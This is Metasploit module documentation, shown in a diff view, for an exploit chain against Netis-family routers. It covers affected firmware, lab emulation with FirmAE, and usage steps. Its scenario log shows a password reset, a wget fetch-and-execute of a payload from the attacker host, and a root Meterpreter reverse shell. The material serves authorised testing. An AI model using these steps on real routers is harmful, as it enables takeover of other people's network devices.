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Netis Router Exploit Chain Reactor [CVE-2024-48455, CVE-2024-48456 and CVE-2024-48457]
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...ntation/modules/exploit/linux/http/netis_unauth_rce_cve_2024_48456_and_48457.md
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| ## Vulnerable Application | ||
| Several Netis Routers including rebranded routers from GLCtec and Stonet suffer from a command injection vulnerability at the change | ||
| password page of the router web interface (see [CVE-2024-48456](https://www.cve.org/CVERecord?id=CVE-2024-48456) for more details). | ||
| The vulnerability stems from improper handling of the password and new password parameter within the router's web interface. | ||
| Attackers can inject a command in the password or new password parameter, encoded in base64, to exploit the command injection | ||
| vulnerability. | ||
| When exploited, this can lead to command execution, potentially allowing the attacker to take full control of the router. | ||
| An attacker needs to be authenticated to initiate this RCE, however [CVE-2024-48457](https://www.cve.org/CVERecord?id=CVE-2024-48457) | ||
| allows an unauthenticated attacker to reset the Wifi and router password, hence gaining full root access to the router to execute | ||
| the RCE. | ||
|
|
||
| Last but not least, [CVE-2024-48455](https://www.cve.org/CVERecord?id=CVE-2024-48455) allows for unauthenticated information disclosure | ||
| revealing sensitive configuration information of the router which can be used by the attacker to determine if the router is running | ||
| specific vulnerable firmware. | ||
|
|
||
| The following router firmware versions are vulnerable: | ||
|
|
||
| - [x] netis_MW5360_V1.0.1.3031_fw.bin | ||
| - [x] Netis_MW5360-1.0.1.3442.bin | ||
| - [x] Netis_MW5360_RUSSIA_844.bin | ||
| - [x] netis_NC21_V3.0.0.3800.bin (https://www.netisru.com/support/downinfo.html?id=40) | ||
| - [x] netis_NC63_V3.0.0.3327.bin (https://www.netis-systems.com/support/downinfo.html?id=35) | ||
| - [x] netis_NC63_v4_Bangladesh-V3.0.0.3889.bin (https://www.netis-systems.com/support/downinfo.html?id=35) | ||
| - [x] Netis_NC63-V3.0.0.3833.bin (https://www.netisru.com/support/downinfo.html?id=35) | ||
| - [x] netis_app_BeeWiFi_NC63_v4_Bangladesh-V3.0.0.3503.bin | ||
| - [x] netis_NC65_V3.0.0.3749.bin | ||
| - [x] Netis_NC65_Bangladesh-V3.0.0.3508.bin (https://www.netis-systems.com/support/downinfo.html?id=34) | ||
| - [x] Netis_NC65v2-V3.0.0.3800.bin (https://www.netisru.com/support/downinfo.html?id=34) | ||
| - [x] netis_NX10_V2.0.1.3582_fw.bin | ||
| - [x] netis_NX10_V2.0.1.3643.bin | ||
| - [x] Netis_NX10_v1_Bangladesh-V3.0.0.4142.bin (https://www.netis-systems.com/support/downinfo.html?id=33) | ||
| - [x] netis_NX10-V3.0.1.4205.bin (https://www.netisru.com/support/downinfo.html?id=33) | ||
| - [x] netis_app_BeeWiFi_NC21_v4_Bangladesh-V3.0.0.3329.bin | ||
| - [x] netis_app_BeeWiFi_NC21_v4_Bangladesh-V3.0.0.3500.bin | ||
| - [x] Netis_NC21_v2_Bangladesh-V3.0.0.3854.bin (https://www.netis-systems.com/support/downinfo.html?id=40) | ||
| - [x] GLC_ALPHA_AC3-V3.0.2.115.bin (https://drive.google.com/drive/folders/1P69yUfzeZeR6oABmIdcJ6fG57-Xjrzx6) | ||
|
|
||
| and potentially others... | ||
|
|
||
| ## Installation | ||
| Ideally, to test this module, you would need a vulnerable Netis Router device. | ||
| However, by downloading the firmware and install and use `FirmAE` to emulate the router, | ||
| we can simulate the router and test the vulnerable endpoint. | ||
|
|
||
| ### Installation steps to emulate the router firmware with FirmAE | ||
| * Install `FirmAE` on your Linux distribution using the installation instructions provided [here](https://github.com/pr0v3rbs/FirmAE). | ||
| * To emulate the specific firmware that comes with the Netis devices, `binwalk` might need to be able to handle a sasquatch filesystem. | ||
| * This requires additional [installation steps](https://gist.github.com/thanoskoutr/4ea24a443879aa7fc04e075ceba6f689). | ||
| * Please do not forget to run this after your `FirmAE` installation otherwise you will not be able to extract the firmware. | ||
| * Download the vulnerable firmware from Netis or from one of the other brands like GLCtec or Stonet. | ||
| * We will pick `GLC_ALPHA_AC3-V3.0.2.115.bin` for the demonstration. | ||
| * Start emulation. | ||
| * First run `./init.sh` to initialize and start the Postgress database. | ||
| * Start a debug session `./run.sh -d Netis /root/FirmAE/firmwares/GLC_ALPHA_AC3-V3.0.2.115.bin` | ||
| * This will take a while, but in the end you should see the following... | ||
| ```shell | ||
| # ./run.sh -d netis /root/FirmAE/firmwares/GLC_ALPHA_AC3-V3.0.2.115.bin | ||
| [*] /root/FirmAE/firmwares/GLC_ALPHA_AC3-V3.0.2.115.bin emulation start!!! | ||
| [*] extract done!!! | ||
| [*] get architecture done!!! | ||
| mke2fs 1.47.0 (5-Feb-2023) | ||
| e2fsck 1.47.0 (5-Feb-2023) | ||
| [*] infer network start!!! | ||
| [IID] 15 | ||
| [MODE] debug | ||
| [+] Network reachable on 192.168.1.254! | ||
| [+] Web service on 192.168.1.254 | ||
| [+] Run debug! | ||
| Creating TAP device tap15_0... | ||
| Set 'tap15_0' persistent and owned by uid 0 | ||
| Bringing up TAP device... | ||
| Starting emulation of firmware... 192.168.1.254 true true 79.316641060 186.772281412 | ||
| /root/FirmAE/./debug.py:7: DeprecationWarning: 'telnetlib' is deprecated and slated for removal in Python 3.13 | ||
| import telnetlib | ||
| [*] firmware - GLC_ALPHA_AC3-V3.0.2.115 | ||
| [*] IP - 192.168.1.254 | ||
| [*] connecting to netcat (192.168.1.254:31337) | ||
| [+] netcat connected | ||
| ------------------------------ | ||
| | FirmAE Debugger | | ||
| ------------------------------ | ||
| 1. connect to socat | ||
| 2. connect to shell | ||
| 3. tcpdump | ||
| 4. run gdbserver | ||
| 5. file transfer | ||
| 6. exit | ||
| ``` | ||
| * check if you can `ping` the emulated router and run `nmap` to check the ports | ||
| ```shell | ||
| # ping 192.168.1.254 | ||
| PING 192.168.1.254 (192.168.1.254) 56(84) bytes of data. | ||
| 64 bytes from 192.168.1.254: icmp_seq=1 ttl=64 time=11.7 ms | ||
| 64 bytes from 192.168.1.254: icmp_seq=2 ttl=64 time=4.93 ms | ||
| 64 bytes from 192.168.1.254: icmp_seq=3 ttl=64 time=1.30 ms | ||
| ^C | ||
| --- 192.168.1.254 ping statistics --- | ||
| 3 packets transmitted, 3 received, 0% packet loss, time 2003ms | ||
| rtt min/avg/max/mdev = 1.297/5.979/11.713/4.316 ms | ||
| # nmap 192.168.1.254 | ||
| Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-29 19:39 UTC | ||
| Nmap scan report for 192.168.1.254 | ||
| Host is up (0.020s latency). | ||
| Not shown: 996 closed tcp ports (reset) | ||
| PORT STATE SERVICE | ||
| 22/tcp open ssh | ||
| 53/tcp open domain | ||
| 80/tcp open http | ||
| 443/tcp open https | ||
| MAC Address: 00:E0:4C:81:96:C1 (Realtek Semiconductor) | ||
| Nmap done: 1 IP address (1 host up) scanned in 1.19 seconds | ||
| ``` | ||
| You are now ready to test the module using the emulated router hardware on IP address 192.168.1.254 | ||
| ## Verification Steps | ||
| - [x] Start `msfconsole` | ||
| - [x] `use exploit/linux/http/netis_unauth_rce_cve_2024_48456_and_48457` | ||
| - [x] `set rhosts <ip-target>` | ||
| - [x] `set lhost <ip-attacker>` | ||
| - [x] `set target <0=Linux Dropper>` | ||
| - [x] `exploit` | ||
| you should get a `Meterpreter` session. | ||
| ```msf | ||
| msf6 exploit(linux/http/netis_unauth_rce_cve_2024_48456_and_48457) > info | ||
| Name: Netis Router Exploit Chain Reactor (CVE-2024-48455, CVE-2024-48456 and CVE-2024-48457). | ||
| Module: exploit/linux/http/netis_unauth_rce_cve_2024_48456_and_48457 | ||
| Platform: Linux | ||
| Arch: mipsle | ||
| Privileged: Yes | ||
| License: Metasploit Framework License (BSD) | ||
| Rank: Excellent | ||
| Disclosed: 2024-12-27 | ||
| Provided by: | ||
| h00die-gr3y <[email protected]> | ||
| Module side effects: | ||
| ioc-in-logs | ||
| artifacts-on-disk | ||
| Module stability: | ||
| crash-safe | ||
| Module reliability: | ||
| repeatable-session | ||
| Available targets: | ||
| Id Name | ||
| -- ---- | ||
| => 0 Linux Dropper | ||
| Check supported: | ||
| Yes | ||
| Basic options: | ||
| Name Current Setting Required Description | ||
| ---- --------------- -------- ----------- | ||
| CMD_DELAY 30 yes Delay in seconds between payload commands to avoid locking | ||
| Proxies no A proxy chain of format type:host:port[,type:host:port][...] | ||
| RHOSTS 192.168.1.254 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basic | ||
| s/using-metasploit.html | ||
| RPORT 80 yes The target port (TCP) | ||
| SSL false no Negotiate SSL/TLS for outgoing connections | ||
| SSLCert no Path to a custom SSL certificate (default is randomly generated) | ||
| TARGETURI / yes The Netis router endpoint URL | ||
| URIPATH no The URI to use for this exploit (default is random) | ||
| VHOST no HTTP server virtual host | ||
| When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http: | ||
| Name Current Setting Required Description | ||
| ---- --------------- -------- ----------- | ||
| SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the | ||
| local machine or 0.0.0.0 to listen on all addresses. | ||
| SRVPORT 1981 yes The local port to listen on. | ||
| Payload information: | ||
| Description: | ||
| Several Netis Routers including rebranded routers from GLCtec and Stonet suffer from a command injection | ||
| vulnerability at the change admin password page of the router web interface (see CVE-2024-48456 for more details). | ||
| The vulnerability stems from improper handling of the 'password' and 'new password' parameter within the | ||
| router's web interface. Attackers can inject a command in the 'password' or 'new password' parameter, | ||
| encoded in base64, to exploit the command injection vulnerability. When exploited, this can lead to | ||
| command execution, potentially allowing the attacker to take full control of the router. | ||
| An attacker needs to be authenticated to initiate this RCE, however CVE-2024-48457 allows an unauthenticated | ||
| attacker to reset the Wifi and router password, hence gaining full admin access to the router to execute the RCE. | ||
| Last but not least, CVE-2024-48455 allows for unauthenticated information disclosure revealing sensitive configuration | ||
| information of the router which can be used by the attacker to determine if the router is running specific vulnerable | ||
| firmware. | ||
| The following router firmware versions are vulnerable: | ||
| * netis_MW5360_V1.0.1.3031_fw.bin | ||
| * Netis_MW5360-1.0.1.3442.bin | ||
| * Netis_MW5360_RUSSIA_844.bin | ||
| * netis_NC21_V3.0.0.3800.bin (https://www.netisru.com/support/downinfo.html?id=40) | ||
| * netis_NC63_V3.0.0.3327.bin (https://www.netis-systems.com/support/downinfo.html?id=35) | ||
| * netis_NC63_v4_Bangladesh-V3.0.0.3889.bin (https://www.netis-systems.com/support/downinfo.html?id=35) | ||
| * Netis_NC63-V3.0.0.3833.bin (https://www.netisru.com/support/downinfo.html?id=35) | ||
| * netis_app_BeeWiFi_NC63_v4_Bangladesh-V3.0.0.3503.bin | ||
| * netis_NC65_V3.0.0.3749.bin | ||
| * Netis_NC65_Bangladesh-V3.0.0.3508.bin (https://www.netis-systems.com/support/downinfo.html?id=34) | ||
| * Netis_NC65v2-V3.0.0.3800.bin (https://www.netisru.com/support/downinfo.html?id=34) | ||
| * netis_NX10_V2.0.1.3582_fw.bin | ||
| * netis_NX10_V2.0.1.3643.bin | ||
| * Netis_NX10_v1_Bangladesh-V3.0.0.4142.bin (https://www.netis-systems.com/support/downinfo.html?id=33) | ||
| * netis_NX10-V3.0.1.4205.bin (https://www.netisru.com/support/downinfo.html?id=33) | ||
| * netis_app_BeeWiFi_NC21_v4_Bangladesh-V3.0.0.3329.bin | ||
| * netis_app_BeeWiFi_NC21_v4_Bangladesh-V3.0.0.3500.bin | ||
| * Netis_NC21_v2_Bangladesh-V3.0.0.3854.bin (https://www.netis-systems.com/support/downinfo.html?id=40) | ||
| * GLC_ALPHA_AC3-V3.0.2.115.bin (https://drive.google.com/drive/folders/1P69yUfzeZeR6oABmIdcJ6fG57-Xjrzx6) | ||
| * potentially others... | ||
| References: | ||
| https://nvd.nist.gov/vuln/detail/CVE-2024-48455 | ||
| https://nvd.nist.gov/vuln/detail/CVE-2024-48456 | ||
| https://nvd.nist.gov/vuln/detail/CVE-2024-48457 | ||
| https://github.com/users/h00die-gr3y/projects/1 | ||
| View the full module info with the info -d command. | ||
| ``` | ||
| ## Options | ||
| ### CMD_DELAY | ||
| Chained command lines using `;` do not work, so each command need to be executed in a separate request | ||
| with delay of 30 seconds of more to avoid session locking using the `CMD_DELAY` option. | ||
| ## Scenarios | ||
| ### GLCtec ALPHA-AC3 Router Emulation Linux Dropper - linux/mipsle/meterpreter_reverse_tcp | ||
| ```msf | ||
| msf6 exploit(linux/http/netis_unauth_rce_cve_2024_48456_and_48457) > rexploit | ||
| [*] Reloading module... | ||
| [*] Started reverse TCP handler on 192.168.1.253:4444 | ||
| [*] Running automatic check ("set AutoCheck false" to disable) | ||
| [*] Checking if 192.168.1.254:80 can be exploited. | ||
| [+] The target appears to be vulnerable. GLC(ALPHA-AC3)-V3.0.2.115 | ||
| [*] Resetting router password for authentication. | ||
| [*] Logging in with the new router password 4vNcez42D to get the password cookie. | ||
| [*] Saving router credentials (root) at the msf database. | ||
| [*] Executing Linux Dropper for linux/mipsle/meterpreter_reverse_tcp | ||
| [*] Using URL: http://192.168.1.253:1981/ZhIplAe6jD9O7J | ||
| [*] Executing wget -qO /tmp/hMvelDeE http://192.168.1.253:1981/ZhIplAe6jD9O7J | ||
| [*] Client 192.168.1.254 (Wget) requested /ZhIplAe6jD9O7J | ||
| [*] Sending payload to 192.168.1.254 (Wget) | ||
| [*] Command Stager progress - 53.85% done (63/117 bytes) | ||
| [*] Executing chmod +x /tmp/hMvelDeE | ||
| [*] Command Stager progress - 72.65% done (85/117 bytes) | ||
| [*] Executing /tmp/hMvelDeE | ||
| [+] Deleted /tmp/hMvelDeE | ||
| [*] Meterpreter session 7 opened (192.168.1.253:4444 -> 192.168.1.254:54551) at 2024-12-29 11:28:49 +0000 | ||
| [*] Command Stager progress - 83.76% done (98/117 bytes) | ||
| [*] Command Stager progress - 100.00% done (117/117 bytes) | ||
| [*] Server stopped. | ||
| meterpreter > getuid | ||
| Server username: root | ||
| meterpreter > sysinfo | ||
| Computer : 192.168.1.254 | ||
| OS : (Linux 3.10.90) | ||
| Architecture : mips | ||
| BuildTuple : mipsel-linux-muslsf | ||
| Meterpreter : mipsle/linux | ||
| meterpreter > pwd | ||
| /etc/boa | ||
| meterpreter > ls | ||
| Listing: /etc/boa | ||
| ================= | ||
| Mode Size Type Last modified Name | ||
| ---- ---- ---- ------------- ---- | ||
| 100755/rwxr-xr-x 9581 fil 2024-03-04 09:22:46 +0000 boa.conf | ||
| 100755/rwxr-xr-x 2118 fil 2024-03-04 09:22:46 +0000 mime.types | ||
| meterpreter > | ||
| ``` | ||
| ## Limitations | ||
| Staged payloads might core dump on the target, so use stage-less payloads when using the Linux Dropper target. | ||
| Another limitation is that the router has a very limited command set that can be leveraged, | ||
| so the only option is to use the `wget` command to drop an executable on the target to get a session. | ||
| Chained command lines using `;` do not work, so each command need to be executed in a separate request | ||
| with a delay of 30 seconds or more to avoid session locking (see the `CMD_DELAY` option). | ||
| Last but not least, be mindful that the admin router password gets overwritten by the exploit, | ||
| resulting in a clear indicator of compromise. |
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